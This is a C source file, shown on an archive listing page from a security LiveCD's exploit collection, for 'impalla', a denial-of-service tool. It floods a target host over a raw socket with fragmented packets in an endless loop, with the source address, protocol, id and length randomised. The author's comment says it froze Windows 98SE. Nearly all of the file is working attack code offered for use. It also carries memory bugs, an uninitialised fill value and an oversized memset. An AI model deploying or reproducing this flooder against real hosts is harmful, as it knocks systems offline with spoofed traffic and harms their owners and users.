home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
microsoft
/
remote
/
impalla.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
2KB
|
90 lines
/*
Author: Auriemma Luigi <kaino3@genie.it>
Some months ago I have modified (very very casually for learn a bit of C)
a program that send fragmented IGMP type 8 packets to Windows host; now my
DoS program send random packets type, from random source. I have
tried the DoS program only on a Win98SE and it freeze for all the DoS
time.
Now I have posted the source code for have comments, suggestions and
reports from you, and I hope that someone want to test it on other machine
and systems.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>
struct pack
{
unsigned char pack_type;
unsigned char pack_code;
unsigned short pack_cksum;
};
#define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}
u_long resolve(char *);
int main(int argc, char *argv[])
{
int nsock, ctr, f;
char *pkt, *data;
struct ip *nip;
struct pack *npack;
struct sockaddr_in s_addr_in;
setvbuf(stdout, NULL, _IONBF, 0);
if(argc != 2)
ERROR("usage: impalla <host>");
if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
ERROR("could not create raw socket");
pkt = malloc(1500);
if(!pkt)
ERROR("could not allocate memory");
memset(&s_addr_in, 0, sizeof(s_addr_in));
memset(pkt, 0, 1500);
nip = (struct ip *) pkt;
npack = (struct pack *) (pkt + sizeof(struct ip));
data = (char *)(pkt + sizeof(struct ip) + sizeof(struct pack));
memset(data, ctr*f, 1500-(sizeof(struct ip) + sizeof(struct pack)));
s_addr_in.sin_addr.s_addr = resolve(argv[1]);
nip->ip_v = 4;
nip->ip_hl = 5;
nip->ip_tos = 0x8;
nip->ip_ttl = 255;
nip->ip_sum = 0;
nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
nip->ip_src.s_addr = s_addr_in.sin_addr.s_addr;
npack->pack_cksum = 0;
npack->pack_type = 0;
npack->pack_code = 0;
while (1)
{
memset(data, rand(), 4000);
nip->ip_src.s_addr = rand();
nip->ip_p = rand();
nip->ip_id = rand();
nip->ip_len = rand();
nip->ip_off = htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
}
}
u_long resolve(char *host)
{
struct hostent *he;
u_long ret;
if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}
memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}
/* www.hack.co.za [18 April 2001]*/